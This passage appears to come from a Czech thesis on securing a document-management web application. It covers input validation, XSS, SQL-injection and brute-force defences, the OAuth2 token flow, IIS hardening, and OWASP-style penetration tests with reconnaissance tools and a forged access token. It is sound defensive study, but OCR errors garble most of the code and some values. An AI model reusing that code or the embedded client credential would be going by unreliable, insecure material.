Obrazek 88: Validace hesla pomoci viastni anotace

V urcitych metodach jsou ofekavany parametry year a month. Na tyto parametry je
pouzita nasledujici validace pomoci regularnich vyrazi.
if (month.matches( regex "*(1[0-2]|[1-9])8") && year.matches( regex "*\\d{418")){

Obrazek 89: Validace roku a mésice
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Validace na obrazku cislo 90 nepiijme v URL zadny jiny parametr, ktery neni
prevoditelny na long.

sing (valus = "/{id}")

d({ ("ROLE USER"), ("ROLE DOCUMENT CREATOR"), ("ROLE ADMIN")})

public void generateReport (CRuth2Authentication auth, HttpServletResponse response, EPathVariable ("id") long id) {

Obrdzek 90: Parametr long

Na dal$im obrazku ¢islo 91 Ize vidét validaci datumi. Je kontrolovano, zda datumy

poskytnuté uzivatelem jsou validni. Tato metoda také kontroluje, zda poskytnuté datumy jsou
validni z hlediska logického.

public boolean documsntDatesValidity(String approvalTime, String startOfReading, String endOfReading)
SimpleDateFormat formatter =

{
new SimpleDateFormat( pattern: "yyyy-MM-dd HH:mm") ;

try {

if (formatter.parse (approvalTimes) .after (formatter.parse (formatter. format (new Dats()))) ||
formatter.parse (approvalTime) .equals (formatter.parse (formatter.format (new Date()))) ) {
if (formatter.parse (startOfReading) .after (formatter.parse (formatter.format (new Date())))

&& formatter.parse (endOfReading) .after (formatter.parse (formatter.format (new Date())

if (formatter.parse (end0fReading) .after (formatter.parse (startOfReading))) {
return true;

}

}eatch (ParseException =) {
return false;

}

return false;

Obrazek 91: Validace datumu

Nemén¢ dllezitou validaci je kontrola, zda poskytnuty dokument je opravdu dokument

typu PDF. K tomuto téelu je pouzita knihovna org.apache.tika. Tuto validaci 1ze vidét na
obrazku 92.

public boolean checkFileValidity(MultipartFile multipartFile) {
try {

if(!multipartFile.isEmpty())

{
Tika tika = mew Tikal();
String detectedType = tika.detect (multipartFile.getBytes());
if {detectedType.equals{”applicationfpdf”}} {
return true;
}
}

} catch (ICException =) {

return false;
}

return false;

Obrdazek 92: Validace typu dokumentu
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Je umoznéno vyhledavani dokumentu podle titulu. Titul mize obsahovat
alfanumerické znaky, whitespace znaky a vybrané specidlni znaky. K tomuto ucelu byla

pouzita validace pomoci regularniho vyrazu, ktera je zobrazena na obrazku 93.

@G=tMapping ("/£ind")
@Secured({ ("ROLE USER"}, ("ROLE DOCUMENT CREATOR"), ("ROLE ADMIN")}}
public List<Document> findDocumentByTitle (@RsguestParam("name")String name, ORuthZAuthentication auth){
if (name.trim() .length() > 0 && name.length() <= 15 && name.matches( regex »*[a-za-3A-2A-Z0-9\\)\\ (ANIAN2\\ST+85) ) {

Obrazek 93: Validace titulu

Pti vyhledavani jména jsou pomoci regularniho vyrazu povoleny jen znaky, které¢ muize

jméno obsahovat.

3.2.13 Obrana proti utoku XSS

Prvni formou obrany proti XSS je validace vstupnich dat v aplikaci, ktera je rozebrana
Vv kapitole 3.2.12. Dalsi forma obrany je definice hlavicek, které jsou diilezité v obrané proti
XSS. Jedna se o hlavicky X-XSS-Protection:1; mode=block, Content-Type-Options: nosniff;
a Content-Security-Policy.

Hlavicky X-XSS-Protection 1; mode=block a Content-Type-Options: nosniff jsou
nastaveny frameworkem Spring Boot ve vychozim stavu [19]. Content-Security-Policy je

pfidano do hlavic¢ek zpisobem ukédzanym na obrazku 63.

3.2.14 Obrana proti utoku SQL injection

Prvotni obrana proti SQL injection je kontrola vstupnich dat od uZivatele. Druhym
obrannym mechanismem je pouzivat parametrizované dotazy. Jsou pouZivané

parametrizované dotazy zptisobem zobrazenym na obrazku 94.

Query query = entityManager.createQuery( 5 "SELECT count(d.id) from Document d INNER JOIN d.documentsForUsers ud " +

"INNER JOIN ud.sharingType dt WHERE dt.id = :vall AND ud.document.id = :val2");
guery.setParametsr( 5 "wall", o 1L);
guerv.setParameter( = "wval2". documentId):

Obrazek 94: Parametrizované dotazy

3.2.15 Obrana proti utokiim hrubou silou

Ttida, ktera je zodpovédna za obranu proti tomuto typu utoku je LoginService v balicku
service. K implementaci byla pouzita knihovna com.google.guava.
Po péti neuspéSnych pokusech o ptihlaseni v fadé je vracena chyba se zpravou, Ze
uzivatel je zablokovany. Blokace trva 4 hodiny.
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public void loginFailed(String usesername, String key) |
int attempts = 0O
try |
attempts = attemptsCache.get (key);
} eatch (ExecutionException =) {
attempts = 0;
}
attemptstt;
attemptsCache.put (key, attempts);

loginLegger.warn("Unsuccessful login: " + username + " ip address:" + kesy);

Obrdzek 95: Metoda loginFailed

Metody této tiidy se volaji ve tiidé UserDetailsService v balicku service. Pii pocatku
autentizace se zkontroluje, zda dand IP adresa je zablokovana. Pokud ano, autentiza¢ni proces
je ukonéen a je vraceno chybové hlaseni uzivateli. Metody loginFailed a loginSuccessful se
volaji v zavislosti na tom, zda poskytnuté ptihlasovaci udaje jsou validni.

String ip = getClientIP();
if {(loginService.isBlocked({ip)) {

throw new RuntimeException("You are blocked.");

Obrazek 96: Kontrola blokace IP adresy

3.3 Bezpecnostni mechanismy na frontendu

3.3.1 Oauth2

Poslani autentiza¢ni zadosti probihd zplisobem zobrazenym na obrazku 97. Nasledujici

zadost je poslana pomoci technologie AJAX na end-point oauth/token metodou POST.

function authenticateUserkemail, password) {
$.ajax({
url: "https://docmanager.com:8443/oauth/token”,
type: 'POST',
dataType: 'json',
headers: {"Authorization": "Basic bXkty2xpZWseog==", "Content-Type": "application/x-www-form-urlencoded"},
data: {
"password”: password,
"username”: email,
"grant type"”: "password”
¥
success: function(result) {
sessionStorage.access_token = result.access_token;
sessionStorage.refresh token = result.refresh token;

window.location.replace("index.html™);

b

Obrazek 97: Autentizacni Zadost
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Tokeny jsou ukladany do sessionStorage po uspé$ném obdrzeni. Jesté predtim, nez
dojde k nacteni celé stranky, je poslana zadost na end-point /oauth/valid, kde dochazi ke
kontrole, zda token ulozeny v sessionStorage je opravdu validni token. Pokud je vracena
odpovéd’ serverem, ze token neni validni, uzivatel je pfesunut na ptihlasovaci stranku.

K bézné zadosti po autentizaci slouzi metoda na obrazku 98. Diilezit¢ je, Ze ptistupovy
token musi byt posilan v hlavicce Authorization: bearer [pristupovy token]. Posilani

pristupového tokenu v URL neni bezpecné.

method(type , url , data , callback, type){

$.ajax({
url: proxy + url ,
type: type_,
contentType: "application/json”,
headers: {
‘Authorization’: "bearer ' + sessionStorage.access token
I
data: data ,
success: function(result){
if(callback == ""){
callback(result);
¥

Obrazek 98: Bézna Zadost na server

Nesmirn¢ dulezita je i reakce na chyby. JelikoZ ptistupovy token mé zivotnost patnact
minut, je nutné reagovat na vyprseni pristupového tokenu tak, aby to neomezovalo uzivatele.
Za ptedpokladu, ze server vrati chybu 401, znamena to, Ze uzivateli vyprSela platnost
pfistupového tokenu. Na tuto chybu je reagovano zavolanim metody refreshToken.
Prostfednictvim této metody je odeslana Zadost na server s pouZitim obnovovaciho tokenu a
je zadano o novy piistupovy token. Uzivatel obdrzi nové tokeny za predpokladu, ze
obnovovaci token je validni. V pfipadé, ze zadost o novy token selze, bude smazano lokalni

uloziste a uzivatel bude presunut na ptihlasovaci stranku.

statusCode: {
491: (response) => {
refreshToken();
setTimeout(() => {
this.method(type , url , data , callback, type);
}, 300);

Obrazek 99: Zachyceni chyby 401
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export const refreshToken = () => {
$.ajax({
"url': proxy + "oauth/token",
"type': 'POST',
"content-Type': 'x-www-form-urlencoded’,
headers: {"aAuthorization": "Basic bxktyY2xpzZwse0g=="},
data: {
refresh_token: sessionStorage.refresh_token,
grant_type: ‘refresh_token’
s
"success': function (result) {
sessionStorage.access token = result.access token;
sessionStorage.refresh token = result.refresh token;
s
‘error': function (XMLHttpRequest, textstatus, errorThrown) {
sessionStorage.clear();
logout();
window.location.replace("login.html");

} .

- . -

Obrdzek 100: Zadost o novy pristupovy token

Pti zadosti o novy piistupovy token prostfednictvim obnovovaciho tokenu musime do
dat vlozit polozky grant_type a refresh_token. Pti Gspésném dotazu dojde k uloZeni novych
tokent do sessionStorage. Na obrazku ¢islo 101 l1ze vidét, jaka je reakce na chybu 401. Je
okamzité¢ odeslan novy pozadavek na end-point oauth/token, aby mohl byt ziskan novy
pfistupovy token. Po GspéSném ziskani nového pfistupového tokenu dojde k odeslani stejné

zadosti, ktera predtim vratila chybu 401.

MName Stat... Type  Initiator Size  Time
| documents 401 xhr bundlejs.. 2.0.. 34 ..
| token 200 xhr bundlejs.. 2.0.. 242..
_| documents 200 xhr bundlejs.. 7166 18 ..

Obrdazek 101: Chyba 401

Dal$im dilezitym obrannym prvkem je odhlaSeni. Je nutné smazat lokalni uloZiste a

odeslat zpravu na server, ze uzivatel se odhlasil.
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logout(){
$.ajax({
‘url': proxy + "oauth/revoke-token"”,
"type': 'POST',
"headers': {
"Authorization': 'Bearer ' + sessionStorage.access token

I
contentType: "application/json”,
"success': function (result) {

window.location.replace("login.html™);
sessionstorage.clear();

b

"error’: function (XMLHttpRequest, textStatus, errorThrown) {
sessionStorage.clear();
window.location.replace("login.html™);

}
Obrazek 102: Odhlaseni

3.3.2 XSS

Vsechna piichozi data jsou kontrolovana pomoci knihovny xss-filters.js. Tato knihovna
obsahuje n€kolik metod. PouZiti spravnych metod je zavislé na tom, jak s pfijatymi daty
pracujeme a kam je vkladame. Na obrazcich 103 a 104 1ze vidét dva piiklady, jak jsou pfichozi
data kontrolovana pomoci dvou rozdilnych metod.

<span class="msg-title" id="msg_title">${xssFilters.inHTMLData(data[i].title)}</span>

Obrazek 103: Metoda inHTMLData

$('#roles’).append( <option value="${xssFilters.inDoubleQuotedAttr(data.rolesb[i].authority)}">4

Obrdzek 104: Metoda inDoubleQuotedAttr

3.3.3 DalSi bezpecnostni prvky
Je vyuzivano sessionStorage k ukladani tokent, protoze sessionStorage automaticky
maze sviij obsah po vypnuti prohliZzece a zavieni okna. Nevyhodou je, Ze aplikace nemtize
fungovat s vice otevienymi okny.
Je vyuzivano vypnuti atributu autocomplete u inputt. Pfikladem muZe byt piihlasovaci
stranka. Pokud je tento atribut povoleny, dochazi k zobrazeni pfedchozich vloZenych hodnot.
<input type="email" id="login-email” placeholder="Your email” required minlength="3" maxlength="40" autocomplete="off"/>

Obrazek 105: Vypnuti atributu autocomplete
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Jsou kontrolovana vstupni data pomoci regularnich vyraziu. Na obrazku ¢islo 106 Ize

vidét kontrolu dat pomoci regularniho vyrazu.
var regex = new RegExp("~(?=.%[a-z])(?=.%[A-Z])(?=.%[0-9]) (?=.*[ l@&\$%\ &\*]) (?=.{8,})");

if(name.length > @ &% surname.length > © && roles .length > @){
if(regex.test(passl) &% regex.test(pass2) && passl == pass2){

Obrazek 106: Kontrola dat pomoci regularniho vyrazu

3.4 Konfigurace webového serveru 1S

S pomoci souboru CIS_Microsoft 1IS_10 Benchmark verze 1.1.1 byla provedena

vvvvvv

¢asti konfigurace.

Directory browsing
Bylo zkontrolovéano, ze webovy server neumoziuje directory browsing. Na obrazku

107 lze vidét provedeny dotaz, ktery vraci, zda je povoleno directory browsing.

PS C:\WINDOWS\system32> Get-WebConfigurationProperty system.webserver/directorybrowse iis:\ Enabled | select Value

Obrazek 107: Zakazané directory browsing

HTTPS

K nastaveni HTTPS byl pouZit stejny certifikat, ktery je pouZivan na REST serveru.
Pro funk¢nost aplikace je nutné, aby uzivatel, ktery chce ptistoupit k webovému serveru, mél
certifikat webového serveru vloZen mezi diivéryhodné certifikacni autority na svém pocitaci.
Byly zakazany vsechny nizsi protokoly nez TLS1.2 a slabé sifry. K tomuto ucelu byl pouzit
nastroj 11S Crypto 3.0. Na obrazku 108 lze vidét n¢ktera nastaveni tykajici se Sifrovani na

webovém serveru IIS.
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Server Protocols Ciphers Hashes Key Exchanges

[] Multi-Protocol Unified Hello ' D NULL ' [] MDs ' Diffie-Hellman
D PCT 1.0 D DES 56/56 SHA PKCS
[]ssL20 [] RC240/128 SHA 256 ECDH
[]SsL3.0 [] RC256/128 SHA 384
[]Ts 1.0 [] rRC2128/128 [] SHA 512
[ TLS 1.1 [] RC4 40/128
LS 1.2 [] RC4 56/128

[] RC4 64/128

[[] RC4128/128

[] Triple DES 168
AES 128/128
AES 256/256

Client Protocols

[[] Multi-Protocol Unified Hello
[JprcT10
[]ssL20
[]ssL3.0
[]Ts 1.0

[]TLS 1.1
[ TLs 1.2

Obrazek 108: Nastaveni sifrovani

Filtrovani Zadosti

Byl nastaven atribut maxAllowedContentLength na 30000000. Jedna se o maximalni
velikost HTTP Zadosti méfené v bytech, ktera muze byt poslana klientem web serveru [21].
Atribut maxURL nastavuje maximalni délku v bytech, které muze byt piijaté IIS [21]. Je
pouzivana hodnota 4096. Atribut maxQueryString popisuje, jak maximalné muze byt
dotazovany fetézec dlouhy [21]. Je nastavena hodnota na 2048. Dal§im pouzivanym atributem
je allowHightBitCharacters, ktery je nastaveny na hodnotu false. Pfi pouziti tohoto atributu
budou zamitnuté zadosti, pokud by byly pfitomny vysokobitové znaky v URL [21]. DalSim
pouzivanym atributem je allowDoubleEscaping nastaveny na hodnotu false. Tento atribut

brani proti utokiim, které spoléhaji na dvakrat Sifrované zadosti [21].
PS C:\WINDOWS\system32> Get-WebConfigurationProperty

ItemXPath : /system.webSery curity/requestFiltering/requestLimits
IsInheritedFromDefaultValue : True

1
m. Int64

soft.IIs.PowerShell.Framework.ConfigurationAttributeSchema

IsExtended

Obrazek 109: Hodnota maxURL

Hlavi¢ka server

Bylo nakonfigurovano, aby webovy server nevracel hlavicku server. Byl vlozen piikaz
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zobrazeny na obrazku 110 do ptikazové radky.

$systemroot%\system32\inetsrv\appcmd.exe set config -
section:system.webServer/security/requestFiltering /removeServerHeader :"True"
/commit:apphost|

Obrazek 110: Konfigurace hlavicky server [21]

Bezpecnostni hlavic¢ky
Na obrazku ¢islo 111 Ize vidét hlavicky, které webovy server pouziva. Hlavicky X-

XSS-Protection, X-Content-Type-Options a CSP jsou vysvétleny v kapitole 2.2.4.

<httpProtocol>
<customHeaders>
<clear />
<remove name="X-Frame-Options™ />
<add name="X-XSS-Protection” value="1; mode=block"” />
<add name="X-Content-Type-Options” value="nosniff" />
<add name="Cache-Control"” value="must-revalidate, no-cache, no-store, max-age=0, s-maxage=@, pre-check=8, post-check=0" />
<add name="Pragma” value="no-cache" />
<add name="X-Frame-Options” value="deny” />
<add name="Content-Security-rolicy" value="default-src "none'; script-src 'self'; connect-src https://docmanager.com:8443/; img-src 'self'; style-src 'self';
[frame-ancestors https://docmanager.com/" />
<add name="strict-Transport-security" value="max-age=15465600; includesubDomains" />
</customHeaders>
</httpProtocol>

Obrazek 111: Bezpecnostni hlavicky na webovém serveru 11S

Hlavicka X-Frame-Options zakazuje vkladani webu ¢i jeho casti do jinych webu
pouzitim HTML tagt frame a iframe. Hodnota deny zakazuje jakékoli vkladani [12]. Bez
pouziti této hlavicky by mohla byt aplikace zranitelna vici titoku Clickjacking.

Hlavicka Cache-Control je pouzita ke specifikaci keSovaci politiky prohlizee v
klientskych zadostech i odpovédich serveru. Politiky zahrnuji informace o tom, jak je zdroj
keSovan, kde je keSovan a jaka je maximalni doba pied vyprSenim [13]. Nastaveni hlavicky
Control-Cache na obrazku 111 je doporuceno dokumentem OWASP Testing Guide v4.

Hlavi¢ka pragma s hodnotou no-cache ma podobny vyznam jako hlavicka Cache-
Control. Je pouzita, protoze hlavicka Cache-Control neni kompatibilni s HTTP/1.0 [14].

Strict-Transport-Security ptikazuje prohlize¢i, ze ma po stanovenou dobu
komunikovat pouze pies HTTPS protokol. Hodnota includeSubDomains znamena, Ze i

subdomény musi byt zabezpecené a mit SSL certifikat [15].

Zakazané metody

Zakazané metody na webovém serveru jsou popsany v kapitole 2.10.

Reakce na chyby
Byl vytvoten specidlni HTML soubor, ktery se zobrazuje, pokud dojde k chyb¢ na

webovém serveru IIS. Tato stranka se nachazi ve slozce web_server/errors na DVD.
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<httpErrors errorMode="Custom”>
<remove statusCode="502" subStatusCode="-1" />
<remove statusCode="501" subStatusCode="-1" />
<remove statusCode="500" substatusCode="-1" />
<remove statusCode="412" substatusCode="-1" />
<remove statusCode="4@6" subStatusCode="-1" />
<remove statusCode="4@5" subStatusCode="-1" />
<remove statusCode="4@3" subsStatusCode="-1" />
<remove statusCode="484" subStatusCode="-1" />
<remove statusCode="401" subStatusCode="-1" />
<error statusCode="4@1" prefixLanguageFilePath=
<error statusCode="484" prefixLanguageFilePath=
<error statusCode="4@3" prefixLanguageFilePath=
<error statusCode="485" prefixLanguageFilePath=

wn

path="/errors/error.html” responseMode="ExecuteURL" />
path="/errors/error.html” responseMode="ExecuteURL" />
path="/errors/error.html” responseMode="ExecuteURL" />
path="/errors/error.html” responseMode="ExecuteURL" />
<error statusCode="406" prefixLanguageFilePath="" path="/errors/error.html” responseMode="ExecuteURL™ />
<error statusCode="412" prefixLanguageFilePath="" path="/errors/error.html” responseMode="ExecuteURL™ />
<error statusCode="5@@" prefixLanguageFilePath="" path="/errors/error.html™ responseMode="ExecuteURL™ />
<error statusCode="5@1" prefixLanguageFilePath="" path="/errors/error.html” responseMode="ExecuteURL™ />
<error statusCode="5@2" prefixLanguageFilePath="" path="/errors/error.html” responseMode="ExecuteURL™ />
</httpErrors>

wn
wn
wn
"

wn

Obrdazek 112: Reakce na chyby — webovy server

4. Testovani

Testovani bylo provedeno dle popisu v kapitole 2.3. Na DVD je pfilozena slozka
penetracni_testy, kde se nachazeji soubory, které obsahuji vysledky nc¢kterych testi. N&které
vysledky nebyly pfidany do bakalatské prace z divodu jejich velké rozsahlosti. Budou
zminény jen testy, které jsou relevantni. Vypis vSech testd lze nalézt v souboru

penetracni_testy.docx na DVD.

4.1 — Testovani sbéru informaci (OTG-INFO)
Otisk webového serveru (OTG-INFO-002)

Byla odeslana zadost HEAD na adresu https://docmanager.com. Na obrazku ¢islo 113
je zaznamenana odpoveéd’ webového serveru. Dilezité je, Ze nebyla vracena hlavicka Server.
Tato hlavicka mtze prozradit informace o verzi a typu serveru. Pro ucely tohoto testu byla

povolena metoda HEAD.

ved Per
: must- idate, no-cache, no , =8, pre-check=0, post-check=0
he

html; charset=UTF-8

F'; connect-src https cmanager. com: 84

Obrdazek 113: Test OTG-INFO-002, prvni Zddost

V druhém kroku byla poslana neplatnd Zadost na webovy server. Ani v tomto piipadé
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https://docmanager.com/

nebyla vracena hlavicka Server.

equest
text/html; set=us-ascii

Date: Thu, :
Connection: clo
Content-Length: 311

Obrdazek 114: Test OTG-INFO-002, druha zadost

Zkontrolovani komentaii a metadat, které by mohly vést k uniku informaci (OTG-
INFO-005)

Bylo zkontrolovano, ze aplikace neobsahuje komentaie v html/css a javascriptovém
kédu, které by mohly vést k zneuziti aplikace. Bylo otestovano, Ze verze HTML je validni.
V poslednim kroku bylo otestovano, ze aplikace neobsahuje zadné meta tagy, které by mohly
aplikaci poskodit. VSechny soubory s metadaty jsou nahravany uzivateli, takze je na nich, aby

provedli kontrolu.

Identifikace vstupnich bodu aplikace (OTG-INFO-006)
Cilem toho testu bylo identifikovat, jaké jsou pouzivané HTTP metody a parametry.
K tomuto ucelu byl pouzit néastroj Zed Attack Proxy (ZAP). Vyslednou tabulku nalezenych

bodu aplikace 1ze nalézt v souboru penetracni_testy.docx na DVD.

Mapovani cest aplikace (OTG-INFO-007)
Cilem tohoto testu bylo identifikovat strukturu aplikace. K tomu ucelu byl pouzit ZAP
a kod aplikace, protoze je pouzivano REST API, které nemize byt namapovan0 pomoci

nastroje ZAP.

Otisk pouZitého webového frameworku (OTG-INFO-008)

Cilem tohoto testu bylo identifikovat pouzité frameworky, které aplikace pouziva. Byla
poslana zadost HEAD na server. Obrazek ¢islo 115 zobrazuje odpoveéd’, kterou poskytl server.
Je patrné, Ze z této hlavicky nelze vycist, na jakém frameworku server bézi. Pro ucely tohoto

testu byla povolena HEAD metoda na serveru.
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8, must-revalidate

'; script-src "self'; connect-src 'self'; img-src 'self'; style-src 'self’

3
onnection: close

Obrdazek 115: OTG-INFO-008

Bylo ovéfeno, ze ma server vypnuté actuator end-pointy. Byly poslany zadosti na
vSechny tyto end-pointy (naptiklad actuator/health). Timto bylo otestovano, ze aplikace ma
tuto funkcionalitu vypnutou.

Bylo mozné identifikovat, jaké technologie jsou na frontendu pouzivané. Po
prohlidnuti kodu byl identifikovan framework jQuery verze 3.4.1. Pomoci nastroje whatweb
byl ziskan otisk webové aplikace, ktery také detekoval framework jQuery.

:~# whatweb 10.0.1.16 I
http://10.0.1.16 [381 Moved Permanently] Country[RESERVED][ZZ], IP[lD 0.1.16], Redi

rectLocation[http /18.0.1.16/], Strict-Transport-Security[ma £=15465600; inclu
deSubDomains], Title[Dokument byl presunut], UncommonHeaders|[> 2Nt - -options

ecurity-policy], X-Frame-Options[deny], X-XS55- Prntectlon[l mode=block]

5 10.0.1. lh [200 OK] Country[RESERVED][ZZ], HTML5, IP[16.0.1.16], JQuery, Pa
sswordField, Script, Strict-Transport-Security[max- 15465600; includeSubDomains]
, Title[Login], UncommonHeaders|[x-content-typ 0 control-security-policy], X-
Frame-Options |« y], X-XSS5-Protection[1l; mo

Obrazek 116: Otisk webové aplikace

Otisk webové aplikace (OTG-INFO-009)

Tento test byl proveden pomoci nastroje Whatweb, ktery vratil vysledek na obrazku
116. Je patrné, ze aplikace nevyuziva zadnou znamou aplikaci (Wordpress, phpBB,
Mediawiki...). Byl prohlidnut HTML kod a byly hledany jasné identifikatory aplikaci
(napfiklad informace v meta elementu, které mohou identifikovat vyuzivanou aplikaci).
Aplikace nevyuziva ani Zadné specialni soubory, které by mohly identifikovat pouzivanou

aplikaci.

4.2 - Testovani spravy konfigurace (OTG-CONFIG)
Test konfigurace aplikaéni platformy (OTG-CONFIG-002)

Bylo ovéfeno, Ze aplikace vraci uzivatelsky vytvofené chybové stranky. Bylo zjiSténo,
ze dochazi k logovani uspéSného/neuspésného pokusu o piihlaSeni, odhléaseni,
uspésného/netispésného pristupu k dokumentu, manipulace s dokumenty, uzivateli a

skupinami.
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Zpracovani riaznych souboru obsahujici citlivé informace (OTG-CONFIG-003)
V tomto testu bylo zkoumano, jak aplikace pracuje s riznymi typy soubord. Aplikace

odmit4 vSechny soubory, které nejsou validni PDF soubory.

Kontrola starych soubori, zaloh, zda neobsahuji citlivé informace (OTG-CONFIG-004)

Aplikace nema implementované zalohovani. Bylo zkontrolovano, ze aplikace
neobsahuje staré soubory, které by mohly obsahovat néjaké citlivé informace. Kontrolovany
byly i logy, zda neobsahuji n¢jaké citlivé informace (tokeny, hesla...). Nebyly nalezeny zadné

nedostatky.

Vyhodnoceni infrastruktury a administratorska rozhrani (OTG-CONFIG-005)
Administratorské rozhrani se zobrazuje na zaklad¢ role uzivatele v aplikaci, neni tedy
mozné pristoupit k uzivatelskému rozhrani pomoci piepsani URL nebo brute-forcing obsahu
serveru. Toto testovani tizce souvisi s testy OTG-AUTHZ-002 a OTG-AUTHZ-004, u kterych
nebyly nalezeny zadné nedostatky.
Byl prohlidnut zdrojovy kod a bylo zkontrolovéano, Ze autorizacni a autentiza¢ni model
zajiStuje jasné oddéleni funkci mezi normalnimi uZivateli a administratory. Nebyly nalezeny

Zadné nedostatky.

Testovani HTTP metod (OTG-CONFIG-006)
Cilem testu bylo zjiSténi, zda jsou podporované pouze metody GET a POST na
webovém serveru |1S. Na obrazku 117 1ze vidét, ze metoda OPTIONS je zablokovana. Stejné

jako metody HEAD, TRACE, DELETE, CONNECT a PUT na webovém serveru |IS.

ktop\nc>nc docmanager.com 8@

/htmld/strict.dtd">

Obrazek 117: OPTIONS — webovy server 1S

Bylo otestovano, zda poslani Zadosti JEFF /HTTP/1.0 na strance, ktera nuti pfihlaSeni,

vrati 405 nebo 501 chybovou stranku.
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default-src
me-ance s h

"self'; connect-src http cmanager.com:8443/: img-src "self’
m/

Obrdzek 118: OTG-CONFIG-006, druha cast

Na REST serveru bylo otestovano, ze jsou umoznény pouze metody GET, PUT,
DELETE, POST a OPTIONS. Metody DELETE, PUT a OPTIONS jsou na REST serveru
nutnosti. Metoda OPTIONS musi byt pouzita, protoze je pouzivan CORS standard. Pti pouziti
metod CONNECT, HEAD a TRACE server vratil chybu method_not_allowed. Metody
DELETE a PUT mohou byt vyuzivany pouze rolemi ADMIN a DOCUMENT_CREATOR.
Mazani uzivatelti a dokumentti pomoci metody DELETE je povoleno pouze uzivatelim s roli

ADMIN.

Testovani HSTS (OTG-CONFIG-007)
Nasledujicim testem bylo prokdzdno, ze je spravné pouzivana hlavicka Strict-

Transport-Security-Policy.

Desktop\nc»curl -s -D- http docmanager . com/

: must-revalidate, no-cache, no-store, max-age=08, s-maxage=08, pre-check=0, post-check=0
che

elf'; connect-src https://docmanager.com:8443/; img-src 'self’

Obrazek 119: OTG-CONFIG-007

4.3 — Testovani spravy identit (OTG-IDENT)
Testovani definice roli (OTG-IDENT-001)

Bylo ovéteno, Ze definované role vyhovuji principu minimalnich privilegii.

Testovani registrace uzivatele (OTG-IDENT-002)
Bylo testovano, zda kazdy uzivatel ma moznost se sdm zaregistrovat. Byla tedy poslana
zadost o registraci béznym klientem na end-point /users metodou POST. Tato zadost byla

zamitnuta. Bylo ovéfeno, Ze registrace novych uzivateli mulze byt provedena jen
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administratorem.

Déle bylo otestovano, ze stejnd osoba se nemuze vicekrat zaregistrovat. Byla tedy
poslana zadost na end-point /users metodou POST se stejnymi udaji dvakrat. Server tuto
zadost zamitl a vratil chybu. V aplikaci funguje jako unikatni kli¢ email, takze pokud by byl
zméneény v predchozi zadosti pouze email, zadost by byla piijata.

Bylo otestovano, Ze uzivatelé nemohou ménit své role. Byly uspé$né vytvoreny nové
role pro uzivatele, ale pouze pokud Zadost o zménu roli poslal administrator. Jiné Zadosti byly

zamitnuty serverem. Identita je ovéfovana administratorem.

Testovani nastavovani uZivatelského ué¢tu (OTG-IDENT-003)

Bylo zkoumano, zda je v aplikaci néjaky mechanismus provérovani zadosti, které
slouzi k vytvoteni nového uctu nebo k nastavovani roli. Byl nalezen autoriza¢ni mechanismus,
ktery vyzaduje, aby tyto operace mohl provést pouze administrator. Ostatni zadosti byly
zamitnuty serverem.

Bylo otestovano, ze je umoznéno administratorim vytvaiet nové klienty 1
administratory. Bylo zkontrolovano, Ze administratofi a uzivatelé nemohou nastavovat jinym
uctim vétsi privilegia nez jejich vlastni. Bylo zjisténo, Ze administrator si miize sdm sob¢ vzit
opravnéni. Pokud je uzivatel deaktivovan/zbaven privilegii, soubory nejsou mazany, ale
uzivatel jiz K souboriim nema pfistup a emaily odeslané aplikaci mu jiz nadale nedochazi.

Nebyly nalezeny nedostatky.

Testovani vy¢tu uctu a uhodnutelného prihlasovaciho jména (OTG-IDENT-004 a OTG-
IDENT-005)

Cilem tohoto testu bylo ovéfit, zda aplikace vraci stejné odpovédi pro kazdou klientovu
zéadost, ktera produkuje netuspésny pokus o ptihlaseni.

Byla poslana Zadost se spravnym ptihlasovacim jménem a heslem, byla zaznamenéana
odpovéd’ a délka odpovedi.

V druhém kroku byla poslana zadost s validnim pfihlaSovacim jménem a Spatnym
heslem a byla zaznamenana odpovéd generovana aplikaci. Server vratil odpovéd Bad
credenentials.

V tfetim kroku byla posldana Zadost se Spatnym piihlaSovacim jménem a validnim
heslem a byla zaznamenana odpovéd’ serveru. Opét byla vracena odpovéd’ Bad credentials.

Bylo tedy timto testem ovéteno, Ze aplikace vraci pro rtizné kombinace piihlaSeni

generické vysledky. Aplikace by méla vracet stejnou chybu a stejnou délku na riizné nespravné
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zadosti. Nebyly nalezeny zadné nedostatky.

4.4— Testovani autentizace (OTG-AUTHN)
Testovani, zda prihlaSovaci idaje jsou prenaseny pies Sifrovany kanal (OTH-AUTHN-
001)
Na obrazku 120 lze vidét, Ze ptihlasovaci tdaje jsou posilany Sifrované.

Request URL: https://docmanager.com:8443/cauth/token
Request Method: POST

Status Code: @ 400

Remote Address: 192.168.©.161:8443

Referrer Policy: no-referrer-when-downgrade

Obrazek 120: OTG-AUTHN-001

Testovani slabého zamykaciho mechanismu (OTG-AUTHN-003)

Byly provedeny tfi neuspésné pokusy o piihlaseni nasledované jednim uspéSnym
pokusem. Nasledovalo pét netispéSnych pokusti o prihlaseni a jeden pokus se spravnymi tidaji.
V tomto bodé¢ byla vracena chyba ,, You are blocked. “. Dalsi pokus o ptihlaseni byl proveden
o pét minut pozdéji. Nasledovaly pokusy po deseti minutich, po jedné hodiné, po dvou
hodinach a po tfech hodinach. Blokovani bylo stile funkéni 1 po ub&hnuti téchto ¢asovych
intervalt.. Po uplynuti ¢tyf hodin bylo povoleno se opét piihlasit. Bylo zjisténo, Ze odblokovani

se d¢je po ctyrech hodinach automaticky aplikaci. Nebyly nalezeny nedostatky.

| token 1 {"error”:"unauthorized"”,“error_description”:"You are blocked.™}
| token
| token
| token
| token

token

Obrazek 121: OTG-AUTHN-003

Testovani obchazeni autentiza¢niho schématu (OTG-AUTHN-004)

Bylo otestovano, ze neni mozné piimo piejit na stranku docmanager.com/index.html
bez autentizace. Bylo zkontrolovano, Zze bez validniho piistupového tokenu se nelze dostat na
tuto stranku. Na obrdzku ¢islo 122 Ize vidét ulozeni faleSného piistupového tokenu do

sessionStorage pomoci konzole na ptihlaSovaci strance.
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sessionStorage.access_token="eylhbGci0ilSUzIINiIsInR5cCI6IkpXVCI9. eyllc2VyX25hbWUi0iI@ZXNOQHN1em5hbS5jeilsT
mF1dGhveml@aWVzIjpbI1IPTEVFQURNSUALLCISTOxFXIVTRVIiXSwianRpIjoiODgwYWQyMz ctZTIiYi00MGIxLWEzMzELY Y2ZGESNzcw
Yz¥yIiwiY2xpZWS0X21kIjoibXktY2xpZW50Iiwic2NvcGUi0lsicmVhiCIsIndyaXR1IiwidHI1c30iXX8. b33vgullm2xg-
bfUkzr5sCZsn2A0zMfalstAdelfRzPaPxwfqTmlFjXjlaansTe0r]5-vPYCRKXNHbAggxcS@_betUXVX9jf7i3BvPKko-
